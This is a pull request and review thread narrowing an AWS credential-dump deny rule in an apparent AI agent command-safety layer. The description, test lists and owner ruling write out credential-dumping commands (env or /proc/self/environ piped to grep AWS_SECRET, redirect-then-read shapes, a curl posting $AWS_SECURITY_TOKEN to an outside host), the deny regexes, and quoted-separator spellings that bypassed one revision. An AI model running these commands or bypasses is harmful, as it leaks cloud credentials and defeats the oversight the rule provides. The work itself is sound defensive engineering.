fix(security): narrow the env-dump-to-grep aws deny to a real dump

[bolichen97]

Problem / Motivation

The env-dump-to-grep AWS deny fires on commands that never touch a credential. Its regex — .*env.*grep.*AWS.* on the catalog rule and (?:env|printenv|export\s+-p|set)\s*(?:\|.*)?(?:grep|awk|sed)\s+.*AWS_ on the always-on keystone — matches unanchored substrings anywhere in the command text. Observed refusals ("Blocked: command reads AWS credentials from environment variables"):

• grep -rn AWS_REGION src/environment/ — env inside environment
• pyenv | grep AWS_SECRET, virtualenv versions | grep AWS_SECRET, dotenv | grep AWS_SECRET
• selecting a named, non-secret variable such as AWS_REGION, AWS_PROFILE or AWS_SDK_LOAD_CONFIG
• printenv AWS_REGION, printenv AWS_ROLE_ARN

The keystone tier is not toggleable and runs before the rule tiers, so disabling the catalog rule from Settings → Security does not clear the block; it only changes which tier refuses.

Why it matters

An agent investigating anything AWS-adjacent (a sandbox launcher's env contract, a CDK stack, region config) hits this several times per session and has to reword commands around a phantom threat. The refusal text also tells the agent it read credentials when it did not, which derails the investigation.

What changed

Symptom → the two tiers had independently authored, unanchored regexes → one regex per intent, shared by both tiers, evaluated on the same matcher: _ENV_DUMP_GREP_AWS_PATTERN for the piped form and _PRINTENV_AWS_SECRET_PATTERN for the direct one. Neither can drift, and the tier that cannot be switched off can no longer end up the weaker of the two — it was: the keystone's hand-written printenv regex covered three full names while the catalog covered every secret-bearing prefix.

The narrowing is two anchors, and only two, chosen because they are the two an attacker cannot rewrite around:

Selector. The bare AWS/AWS_ prefix, a secret-bearing word (SECRET, SESSION, SECURITY, ACCESS), or a truncation of one that ends the operand. grep matches by substring, so selecting AWS_S prints AWS_SECRET_ACCESS_KEY's value exactly as selecting the whole word does; the truncations are derived from _AWS_SECRET_WORDS, not listed. Requiring the operand to END at the truncation is what keeps AWS_SDK_LOAD_CONFIG, AWS_SHARED_CREDENTIALS_FILE and AWS_STS_REGIONAL_ENDPOINTS allowed. The boundary classes admit digits, so selecting AWS1 — which no secret-bearing name contains — is allowed. printenv diverges here on purpose: it resolves EXACT names, so printenv AWS_S prints nothing and only whole words are denied.

Command word. The verb must both begin and end a word, so unset, offset, pyenv, dotenv, src/environment and settings.py piped into a grep are not dumps. A . or / before it is deliberately allowed — /usr/bin/env, /bin/printenv and /proc/self/environ are the same dumps under a path — and a quoted or substituted command word ('env', $(which env)) is still the dump. Two spellings are therefore named in the verb list rather than left to luck: /proc/<pid>/environ is the process environment under a path, and typeset with no operand prints every variable with its value. The old substring matcher caught both only by accident (environ contains env, typeset contains set), so bounding the verb without naming them drops two real dumps.

The narrowing stops there. The gaps between the dump, the pipe, the filter and the selector are plain .* — ordered existence within one line, with no statement or pipeline-stage scoping. A statement-scoped span has to treat ; and & as separators, and a regex cannot tell a separator from the identical character inside a quoted argument: env | sed 's/;/x/' | grep AWS_SECRET_ACCESS_KEY, env | grep -E 'a&b|AWS_SECRET' and env FOO='a;b' | grep AWS_SECRET are ordinary credential dumps whose only unusual feature is a quoted separator, and a span that stops there fails open on all three. Guessing the other way costs an over-block instead, which is the direction this rule has to fail. A | between the dump and the filter is still required, which is what keeps env as a wrapper (env FOO=1 cmd), set -e; grep AWS_ file.txt and cat .env; grep AWS_ config.py out.

Cost is shared, not just the regex text. The keystone tier applies no length cap, and an ordered-existence pattern under Python's backtracking engine is superlinear in the number of candidate pipes and filter words — measured at 5,088 ms on 2,200 characters through a raw re.search, against 0.19 ms through the linear fragment matcher the catalog tier already uses. So _check_env_credential_access evaluates the two shared rules through the same _deny_matcher, and no compiled duplicate is left in the raw list behind it. Measured after the change: 0.19 ms / 1.41 ms / 11.36 ms at 2.2 KB / 17.6 KB / 140.8 KB — linear, and faster than main's keystone (1,011 ms at 5.2 KB).

The keystone names the two catalog RULES, not a second copy of their patterns. _ENV_CRED_SHARED_RULE_IDS holds the two ids and _ENV_CRED_SHARED_RULES resolves them from BUILTIN_DENIED_RULES — never from the user's effective set, so opting the catalog rule out does not retire the always-on block. Resolution is eager and without a default, so a renamed id fails loudly at import rather than silently shrinking the tuple and retiring the block. That is what makes "one regex per intent" structural: there is no parallel pattern constant here that could be edited alone.

Deliberately out of scope: a dump REDIRECTED to a file and read back with no pipe (env > f, then a grep of f). Correlating the sink with the reader needs a backreference the RE2-style engine these built-ins are authored for does not have, and blocking only the grep spelling would be no control at all — awk, sed and a plain cat of the same file read it just as well and were already unmatched on main. redact_credentials (AKIA/ASIA plus high-entropy detection) is what stands between that shape and a chat surface.

Measured before/after

Every number below comes from running the corpus through the real matchers on both tiers, with the origin/main pattern strings and the previous revision's pattern strings restored for their columns.

	count	result
dump/select shapes pinned DENIED	60	all denied on both tiers
…of those, denied on main but allowed by the previous revision	14	all re-denied
benign shapes pinned ALLOWED	36	all allowed on both tiers
…of those, denied on main (the false-positive reduction)	23
residual over-blocks pinned DENIED	6	all denied on main too — no new over-block

The 14 shapes the previous revision opened are the two blocking findings' shapes: eight quoted-separator pipelines and four /proc/<pid>/environ reads, plus typeset | grep AWS_SECRET and typeset | grep AWS_.

The residual over-block is what refusing to guess at statement boundaries costs, and it is pinned by test (RESIDUAL_OVER_BLOCK) rather than left to a comment: a later statement's filter is attributed to the dump (env | head -5; grep -r AWS_ src/, env | wc -l && grep AWS_SECRET f), a later pipeline stage's text is read as the filter's operand (env | grep PATH | echo AWS_SECRET), and env as another tool's subcommand counts as a dump (conda env list | grep aws). Every one of those was refused on main as well. Anchoring the verb to a command position would reclaim the last one and would also drop sudo -E /usr/bin/env | grep AWS_SECRET, since any wrapper prefix defeats that anchor — so it is not one.

Disposition of the review findings

Opus 4.8, BLOCKING on a8f51b5b — "narrowing credential-exfil-env-grep-aws drops the /proc/<pid>/environ env-dump spelling with no compensating rule." Confirmed and fixed. Reproduced against the real matchers: strings /proc/self/environ | grep AWS_SECRET, cat /proc/self/environ | tr '\0' '\n' | grep AWS_SECRET, tr '\0' '\n' < /proc/self/environ | grep AWS_SECRET and xargs -0 -n1 < /proc/1234/environ | grep AWS_SECRET were all denied on main (the old pattern matched via the env substring inside environ) and all allowed at a8f51b5b, on both tiers. environ is now a named dump verb, so all four are denied again on both tiers and are in the parametrized denied set. Taken as the alternation half of the lane's own suggested fix rather than a new rule: the shape is a dump piped into a selecting filter, which is exactly what this rule already expresses, and a second rule would be a second thing to keep in step with the keystone. grep -a AWS_SECRET /proc/self/environ — filter before dump, no pipe — was allowed on main too and stays allowed; it is the same redirect-shaped residual named above, not a regression.

GPT 5.6, BLOCKING on a8f51b5b — "quote-blind spans reopen credential exfiltration: env | sed 's/;/x/' | grep AWS_SECRET_ACCESS_KEY. Fix: make separators quote-aware or revert the narrowing hunk." Confirmed and fixed, and the class is wider than the one shape cited. Reproduced against the real matchers: eight shapes were denied on main and allowed at a8f51b5b, on both tiers — the cited sed 's/;/x/', plus env | grep -E 'a;b|AWS_SECRET', env | grep -E 'a&b|AWS_SECRET', env | awk -F';' '{print}' | grep AWS_, env | tr ';' '\n' | grep AWS_SECRET, env | sed "s/&/x/" | grep AWS_SECRET, env -u 'A;B' | grep AWS_SECRET and env FOO='a;b' | grep AWS_SECRET. The last two show the guard was not repairable in place: a ; inside the DUMP's own argument list defeats it just as one inside an intermediate stage does, so every span that excluded a separator character was bypassable, not only the one named. "Quote-aware" is not expressible in a regex without counting quote state, so the fix is the other branch of the lane's own suggestion applied to the unsound part only: the three spans are gone and the gaps are plain .*. The two anchors that carry the actual narrowing — the word-bounded verb and the credential-printing selector — are untouched, so the 23 measured false positives stay fixed while all eight shapes are denied again. What it costs is the five statement-scoped over-blocks in the table above, each of which main refused too.

GPT 5.6, FINDING (earlier head) — "(?![A-Za-z_]) treats digits as boundaries." Fixed: both boundary classes are [A-Za-z0-9_], pinned by test_selector_boundaries_admit_digits asserting on the constant so the two cannot drift. AWS1 and AWS_1 are allowed; no secret-bearing name contains either substring.

GPT 5.6, FINDING (earlier head) — "[^;&\n]* attributes later pipeline text to the filter." Moot: there is no filter-argument span left to attribute anything. env | grep PATH | echo AWS_SECRET is now pinned as a deliberate over-block instead, for the reason above — the span that would exempt it is the same span that exempted eight real dumps.

First Principles Review, CONCERNS subtraction — "delete the keystone's hand-written direct-printenv regex and reuse _PRINTENV_AWS_SECRET_PATTERN." Taken. The two had already diverged in the dangerous direction — the always-on tier covered three full names while the disableable one covered every secret-bearing prefix — so the keystone now reads the shared constants, and test_catalog_rule_and_keystone_share_one_regex pins both pairs.

First Principles Review, remaining watch — the echo-of-secret family has the same two-tier drift (keystone lacks ACCESS), and ~60 other unanchored .*-joined rules remain. Accepted and deferred, as the lane itself frames them. Both are separate rule families with their own regressions to measure, and the discipline these two rules needed is exactly what makes folding in a third unwise here. They are named in the pattern harvest so the next pass has the technique and the hazard written down.

Tests

test/test_security.py::TestEnvDumpGrepAwsNarrowing, asserting on the production _DenyMatcher, the keystone and is_denied rather than on re.search:

• test_catalog_rule_and_keystone_share_one_regex — each rule's pattern is the shared constant, each id is in _ENV_CRED_SHARED_RULE_IDS, and the resolved tuple is the same length as the id tuple, so a rename cannot quietly drop one.
• test_keystone_tier_evaluates_the_shared_rules_on_the_deny_matcher — the always-on tier routes through _deny_matcher, and no compiled duplicate remains in the raw list to reintroduce the superlinear cost behind the shared one. Pinned as shape, not as a duration.
• test_catalog_rule_is_published_not_silently_disabled ×2 — not _disabled, not _bounded, more than one fragment, is_safe_user_regex true. A rule the matcher silently disabled is otherwise indistinguishable from one that was narrowed, and the fragment count is what makes both tiers linear.
• test_credential_dumps_are_denied_on_both_tiers ×53 — adds the eight quoted-separator pipelines, the four /proc/<pid>/environ reads and the two typeset dumps alongside the absolute-path, quoted and substituted dump spellings, the truncated selectors, the |& and 2>&1 pipeline spellings and the quoted filter words.
• test_the_residual_over_block_is_pinned_not_assumed ×6 — the over-block is asserted, so reclaiming it later has to argue with the quoted-separator dumps rather than delete a comment.
• test_every_truncation_of_a_secret_word_is_denied — parametrized over every prefix DERIVED from _AWS_SECRET_WORDS, so adding a word extends the pinned set automatically; test_a_non_secret_initial_is_not_a_truncation is its complement.
• test_benign_commands_pass_both_tiers ×29 — the reported false positives plus AWS_SDK_LOAD_CONFIG, AWS_SHARED_CREDENTIALS_FILE, AWS_STS_REGIONAL_ENDPOINTS, the digit-terminated selectors, ls src/environment, pyenv, dotenv, offset, env used as a wrapper, and set -e; grep AWS_ file.txt so the pipe requirement cannot be dropped silently.
• test_printenv_of_a_secret_is_denied / test_printenv_of_a_non_secret_passes — assert the keystone too, since it shares the regex; printenv AWS_S is pinned as allowed because printenv resolves exact names.
• test_full_gate_denies / test_full_gate_allows — every case through is_denied, so a benign shape one rule stops refusing while a sibling still refuses it fails the suite.

Local: test_security.py, test_denied_commands_security.py, test_security_posture.py, test_recovery_card_parity.py — 2196 passed / 1 skipped; test_hooks.py, test_fire_tool_hooks.py, test_script_hooks.py, test_credential_scrub_sync.py, test_review_fixes.py — 305 passed. Full suite once at -n 4 --dist loadgroup: 84,744 passed / 71 failed, every failure in this host's documented environmental classes (no git push credentials, no gh auth, no user-namespace sandbox, no docker) and none in a module this diff touches. black (touched files only; security.py's baseline entry left intact), isort, flake8, mypy --platform linux (1,282 files clean), docs-lint, brand and harness-parity gates clean. scrub-lint fails on test/test_atomic_write_named_duplicates.py, which is not in this diff and fails identically on origin/main.

Dependency Audit fails with npm audit timed out after 120s for website/package-lock.json on every attempt so far, with no JavaScript in this diff; PRs #7669 and #8355 red the same job in the same window. An npm-registry timeout, re-run rather than fixed.

CodeQL flagged 2 high py/clear-text-logging-sensitive-data alerts on the first push of this revision, both landing on _DenyMatcher's two pre-existing logger.warning(..., pattern) lines. Those lines log a deny REGEX, never a credential value, and only for a pattern the matcher refuses — which a built-in never is. The alerts were newly attributed because passing a _AWS_SECRET_*-named module constant straight into _deny_matcher gave the query a flow it could follow end to end. Resolving through the catalog rule instead — the same call shape is_denied has always used — clears them without a suppression comment, and is the better spelling anyway for the reason above.

Manual verification

N/A — unit coverage sufficient: the change is two regexes, the constants they are built from, and which matcher the always-on tier calls. The tests exercise the production matcher and gate entry point rather than re.search.

Related Issues

Follow-up to the deny-rule toggle work in #7705 (this keystone was one of the always-on layers the toggle could not reach). No linked issue: the defect was reported in-session as repeated refusals, not filed.

Pattern harvest

Rule candidate: review-prompt

Pattern: a deny regex may only be narrowed on properties an attacker cannot rewrite, and shell quoting makes every separator character such a property. Excluding ; or & from a span reads like "stop at the statement boundary" and actually means "stop wherever the attacker puts that character in quotes" — env | sed 's/;/x/' | grep AWS_SECRET, env | grep -E 'a&b|AWS_SECRET' and env FOO='a;b' | grep AWS_SECRET are three ordinary dumps that walk through, and the guard cannot be repaired in place because quote state is not regex-expressible. When the choice is between an over-block and a bypass, a deny rule takes the over-block and pins it by test. Four corollaries, each an actual defect in this PR's own revisions:

1. A word-boundary guard is the OTHER narrowing that is sound, and it silently drops the spellings a substring matcher was catching by accident: /proc/<pid>/environ and typeset are real environment dumps that contain env and set. Enumerate what the loose pattern was covering by luck before tightening it, or the tightening is a coverage cut wearing a precision costume.
2. A substring-matching filter makes every truncation of a secret name equivalent to the name, so derive the truncations from the word list rather than enumerating whole words.
3. Sharing a regex string between an opt-out tier and an always-on tier is not enough: the always-on tier here had no length cap, so the same pattern that ran in 0.19 ms on the linear fragment matcher took 5 s through a raw re.search. Share the RULE — one tier naming the other's rule id has no parallel constant to drift from, and it keeps the cost decision in one place too.
4. A span shaped as an alternation inside a * is refused by _redos_prone, and a refused built-in is disabled, not rejected — the rule silently stops matching. Any deny-pattern edit needs a published-not-disabled assertion, because that failure has no other symptom.

The same two-tier drift and unanchored-substring causes remain in the echo-of-secret family and ~60 sibling rules; the technique above is what a follow-up should apply to them.

Checklist

• At most two commits (one is the norm), with a Conventional Commits title
• Existing tests pass and new tests added for new functionality
• Self-review completed; code follows project style guidelines
• Documentation updated (if applicable)
• No secrets, credentials, or internal references in the diff

[github-actions]

First Principles Review (Fable 5) — 🟡 CONCERNS

Premise-level review of 810a3b17c927bedb0b3b5338d8996470c42a378a — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

All claims verified against the repo: the shared-pattern mechanism, consumer counts, and the remaining _ENV_CRED_PATTERNS twins. The one counted gap is the echo intent, which still has four independently authored spellings across the two tiers with drift already present. Final review:

First-Principles-Verdict: CONCERNS

The PR's own root cause — independently authored tier twins that drift — survives unfixed for the echo intent, where the untoggleable tier is already the weaker one.

What this change ships

Intent: stop the AWS env-dump deny refusing commands that cannot print a credential — a FIX.

1. grep -rn AWS_REGION src/environment/, pyenv | grep …, non-secret selectors no longer refused — justified (reported refusals)
2. printenv AWS_REGION and other non-secret names no longer refused — justified (reported refusals)
3. /proc/<pid>/environ and typeset dumps now denied by name instead of by substring accident — justified (keeps two real dumps denied)
4. Both tiers now run one shared regex per intent, resolved by catalog rule id — justified, cause-level
5. Always-on tier now linear on long commands via the existing _deny_matcher — justified, reuses the existing mechanism
6. Catalog env-grep rule widens to set/export -p/typeset verbs the keystone alone covered — rides along with the unification, declared
7. Rule descriptions rewritten to state what is allowed — justified relabel (old text described removed behavior)
8. Doc section + golden fixture updated in the same commit — mandated (AGENTS.md spec rule)
9. ~100 pinned shapes including the residual over-blocks — justified

Watch

The description's stated cause — "the two tiers had independently authored, unanchored regexes" — still holds for the echo-a-secret-variable intent: 3 catalog rules (.*echo.*\$AWS_SECRET/SESSION/ACCESS.*, security.py:235–253) plus 1 keystone pattern ((?:echo|printf|cat)\s+.*\$\{?AWS_(?:SECRET|SESSION|SECURITY), security.py:16750). They have already drifted in the direction the PR calls dangerous: the untoggleable keystone misses ACCESS, the disableable catalog misses SECURITY and printf/cat. Grepped _ENV_CRED_PATTERNS and BUILTIN_DENIED_RULES for \$AWS: 1 sibling intent, 4 spellings. Accepted-and-deferred is fine; unacknowledged is the risk.

Subtractions

• Replace the four hand-written echo spellings (security.py:235–253 catalog, security.py:16750 keystone) with one shared pattern registered in _ENV_CRED_SHARED_RULE_IDS — the mechanism this change already ships; the keystone copy is then deleted.

[FIRST-PRINCIPLES-REVIEWED] 810a3b1

[github-actions]

Design Review (Fable 5) — ✅ PASS

Design-level review of 810a3b17c927bedb0b3b5338d8996470c42a378a — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

The diff, description, and tests are all consistent: the narrowing is anchored on attacker-invariant properties (word-bounded dump verb, credential-printing selector), the quoted-separator bypass class and the /proc/environ/typeset coverage cuts found in earlier revisions are re-denied and pinned, the residual over-block is pinned rather than assumed, both tiers now evaluate one shared regex through the same linear matcher (closing both the drift and the superlinear-keystone hazard), and the spec is updated in the same commit. The remaining evasions (quote-split selector, redirect-to-file) existed on main and are backstopped by redact_credentials, so this is precision recovery, not a boundary weakening.

Design-Verdict: PASS

Root cause fixed at the right layer: one shared, anchored regex per intent across both tiers, with the over-block/bypass trade argued and pinned by test.

[DESIGN-REVIEWED] 810a3b1

[github-actions]

Opus 4.8 Review — ✅ no blocking findings

Reviewed 810a3b17c927bedb0b3b5338d8996470c42a378a — this comment is updated in place on each push.

Review details

I've validated the single candidate against the diff and the surrounding regex engine.

Assessment of Candidate 1 (env-dump-to-file-then-grep no longer denied):

The claim is factually correct that the old pattern .*env.*grep.*AWS.* matched env > f; grep AWS_ f (ordered substring existence, no pipe required) while the new _ENV_DUMP_GREP_AWS_PATTERN mandates a |. But the "removed guard" is not a load-bearing one:

• The old rule only caught the redirect-to-file shape when the reader was spelled grep. env > f; cat f, env > f; awk '/AWS/' f, and env > f; sed -n '/AWS/p' f were all unmatched by the old pattern too (no grep token). So an agent exfiltrating via redirect-to-file was already trivially unblocked before this PR — the old coverage of that shape was accidental, not a control.
• Consequently the harm removed by the narrowing on this specific shape is essentially nil: the boundary (agent reading credentials to a surface) was never protected against redirect-to-file by this deny rule; it rests on the output-layer redaction, unchanged by this diff.
• Meanwhile the new pattern is strictly broader on the real piped-dump paths (set | grep AWS_, typeset | …, /proc/self/environ, export -p, truncations like AWS_S), and the keystone tier is strengthened (previously three full variable names; now every secret-bearing prefix).

(c) "observable wrong outcome" therefore fails the 80+ bar: what changed is the disappearance of a trivially-bypassable accidental match, not a genuine regression in an enforced boundary. The candidate's own confidence is "low" and its Fix clause concedes it is intended design. It does not survive falsification.

No other grounded defect surfaced under Step 2: the shared-rule wiring routes both tiers through _deny_matcher (linear fragment path, pinned by test), the .* gaps and residual over-blocks are the safe (fail-closed) direction, and the removed _ENV_CRED_PATTERNS entries are subsumed by the broader shared rules.

No findings.

[OPUS-REVIEWED] 810a3b1

Verdict parsed from the review's SHA-scoped output markers for commit 810a3b17c927bedb0b3b5338d8996470c42a378a.

False positive or not applicable? A repository writer can comment:
/ai-review override fable 810a3b17c927bedb0b3b5338d8996470c42a378a: <one-sentence reason>

[github-actions]

GPT 5.6 Review — ✅ no blocking findings

GPT 5.6 completed its review of 810a3b17c927bedb0b3b5338d8996470c42a378a and found no blocking issues.

This comment is updated in place on each push.

Review details

No findings.
[GPT-REVIEWED] 810a3b1

False positive or not applicable? A repository writer can comment:
/ai-review override gpt 810a3b17c927bedb0b3b5338d8996470c42a378a: <one-sentence reason>

[bolichen97]

/ai-review override fable a646792: intentional design — the partial-prefix grep (AWS_S) is deliberately not denied; this rule is a command-shape speed bump and the value such a grep prints is caught by redact_credentials (AKIA/ASIA + high-entropy detection) before it reaches a chat surface. Inverting the selector to "deny every non-allowlisted name" trades away the false-positive reduction this PR exists for. The allowed-set test pins env | grep AWS_S so the decision is explicit, and the spec documents it.

[github-actions]

Human judgment recorded

@bolichen97 marked the fable AI finding as false positive, not applicable, or explicitly accepted for a646792f54140a63451cf9f7d0809faa1d451e52.

intentional design — the partial-prefix grep (AWS_S) is deliberately not denied; this rule is a command-shape speed bump and the value such a grep prints is caught by redact_credentials (AKIA/ASIA + high-entropy detection) before it reaches a chat surface. Inverting the selector to "deny every non-allowlisted name" trades away the false-positive reduction this PR exists for. The allowed-set test pins env | grep AWS_S so the decision is explicit, and the spec documents it.

This decision applies only to this commit. A new push requires a new judgment.

[bolichen97]

/ai-review override gpt a646792: intentional design — the $AWS_SECURITY_TOKEN shell-expansion / redirection exfil path was never in this rule's scope before or after the change (the old regex also required a dump verb plus grep/awk/sed), and it stays covered by the untouched keystone expansion pattern ((?:echo|printf|cat)\s+.*\$\{?AWS_(?:SECRET|SESSION|SECURITY)), the .*curl.*\$AWS_* / .*echo.*\$AWS_* catalog rules, and redact_credentials output redaction; reverting the narrowing would re-create exactly the false positives this PR exists to remove. The two advisory findings (digit boundary on AWS1; a later pipeline stage's text counted as filter text) are pre-existing behaviour of the old rule as well, not regressions, and are left as-is to keep the change minimal.

[github-actions]

AI-review override not recorded: keep the reason to 500 characters or fewer.

[bolichen97]

/ai-review override gpt a646792: intentional design — the shell-expansion/redirection exfil path was never matched by the env-dump-to-grep rule (old or new); it is covered by the unchanged keystone (echo|printf|cat) ... $AWS_(SECRET|SESSION|SECURITY) pattern, the catalog curl/echo $AWS_* rules, and output redaction. Widening this rule to unknown/partial names is deliberately not wanted; secret values are caught by the entropy/AKIA/ASIA redactor.

[github-actions]

Human judgment recorded

@bolichen97 marked the gpt AI finding as false positive, not applicable, or explicitly accepted for a646792f54140a63451cf9f7d0809faa1d451e52.

intentional design — the shell-expansion/redirection exfil path was never matched by the env-dump-to-grep rule (old or new); it is covered by the unchanged keystone (echo|printf|cat) ... $AWS_(SECRET|SESSION|SECURITY) pattern, the catalog curl/echo $AWS_* rules, and output redaction. Widening this rule to unknown/partial names is deliberately not wanted; secret values are caught by the entropy/AKIA/ASIA redactor.

This decision applies only to this commit. A new push requires a new judgment.

[bolichen97]

/ai-review override fable 3468f41: intentional design — the deny selector is deliberately the bare AWS/AWS_ prefix plus the SECRET|SESSION|SECURITY|ACCESS names, not an allowlist inversion; a partial or unknown AWS_* name is not denied because secret values are caught by the entropy/AKIA/ASIA output redactor. Same diff as the already-overridden a646792, rebased onto main after #8317.

[bolichen97]

/ai-review override gpt 3468f41: intentional design — the shell-expansion/redirection exfil path was never matched by the env-dump-to-grep rule (old or new); it is covered by the unchanged keystone (echo|printf|cat) ... $AWS_(SECRET|SESSION|SECURITY) pattern, the catalog curl/echo $AWS_* rules, and output redaction. Widening to unknown/partial names is deliberately not wanted. Same diff as the already-overridden a646792, rebased after #8317.

[github-actions]

Human judgment recorded

@bolichen97 marked the fable AI finding as false positive, not applicable, or explicitly accepted for 3468f4168330f3e9b6238d74bbfe2221770bdf4c.

intentional design — the deny selector is deliberately the bare AWS/AWS_ prefix plus the SECRET|SESSION|SECURITY|ACCESS names, not an allowlist inversion; a partial or unknown AWS_* name is not denied because secret values are caught by the entropy/AKIA/ASIA output redactor. Same diff as the already-overridden a646792, rebased onto main after #8317.

This decision applies only to this commit. A new push requires a new judgment.

[github-actions]

AI-review override not recorded: 3468f4168330f3e9b6238d74bbfe2221770bdf4c is not the current PR head. Re-run the command with 9729cff9e53c5bde38331c28e5c8c417fe3e55df.

[bolichen97]

Owner ruling: the narrowing stands, and the blocking finding is fixable without giving it up

The repository owner has decided the narrowing should land. The GPT lane's remedy — "revert both narrowed patterns until equivalent shell forms are denied" — is declined, because reverting reinstates the false positives this PR exists to remove.

The lane's blocking finding is nevertheless partly right, and there is a fix that satisfies both. Measured against origin/main with the real matcher (security._deny_matcher(rule.pattern).match(cmd)), the narrowing gains three allowances and loses two denials:

Now allowed that main denied, which is the point of the PR: printenv AWS_REGION, env | grep AWS_REGION, env | grep AWS1.

Now allowed that main denied, which is not intended: env > /tmp/f; grep AWS_SECRET_ACCESS_KEY /tmp/f and env >/tmp/f && grep AWS_SESSION_TOKEN /tmp/f. This is the redirect-then-read shape the module docstring documents as deliberately out of scope. It is out of scope for the stated reason — correlating the sink with the reader needs a backreference the engine does not have — but denying the shape needs no backreference at all.

For the record on the rest of the lane's framing: curl --data "$AWS_SECURITY_TOKEN" https://x.example is allowed on origin/main and on this branch alike, so it is a pre-existing gap, not a regression this PR introduces.

The fix

Require a pipe or a redirect between the dump verb and the filter — one character in _ENV_DUMP_GREP_AWS_PATTERN:

-    + r".*\|.*"
+    + r".*[|>].*"

Verified over 20 cases against the shipped pattern, zero mismatches. It keeps all three intended allowances, recovers both denials main had, and additionally denies two shapes main itself missed: set > /tmp/e; awk '/AWS_SECRET/' /tmp/e and cat /proc/self/environ > d; grep -a AWS_SESSION d. It does not newly deny npm run build > out.log && grep -c AWS_REGION out.log, cat .env | grep DATABASE_URL, pyenv versions | grep AWS_SECRET, env FOO=1 mycmd | grep AWS_REGION, or grep AWS_SECRET_ACCESS_KEY notes.txt.

Its cost is an over-block: a redirect of an environment dump earlier in a line makes a later unrelated grep AWS_SECRET on a different file in that same line a match. That is exactly the residual this module already accepts by design and for the same stated reason — "Guessing the other way costs an over-block instead. That is the residual, it is the safe direction." The docstring's "What this rule does NOT cover, on purpose" paragraph should be rewritten accordingly: the redirect form is now covered by shape, and what remains uncovered is only the correlation between a specific sink and a specific reader.

Please add a test per recovered form, keep the golden fixture in step, and re-run the two Backend Tests shards.

The two non-blocking findings

security.py:123 — digits in the boundary class — is already fixed on the current head: env | grep AWS1 is allowed here and denied on main.

security.py:126 — [^;&\n]* attributing later pipeline text to the filter, so env | grep PATH | echo AWS_SECRET is denied — is a real over-block and is being kept deliberately. Narrowing the selector to a single pipeline stage requires distinguishing a stage separator from the identical character inside a quoted argument, which a regex cannot do, and getting that wrong fails open: env | sed 's/;/x/' | grep AWS_SECRET_ACCESS_KEY is an ordinary credential dump whose only unusual feature is a quoted separator. An over-block on a command that pipes an environment dump into a filter and then echoes an AWS secret name is the safe direction, and that command has no legitimate use that a narrower one does not also serve.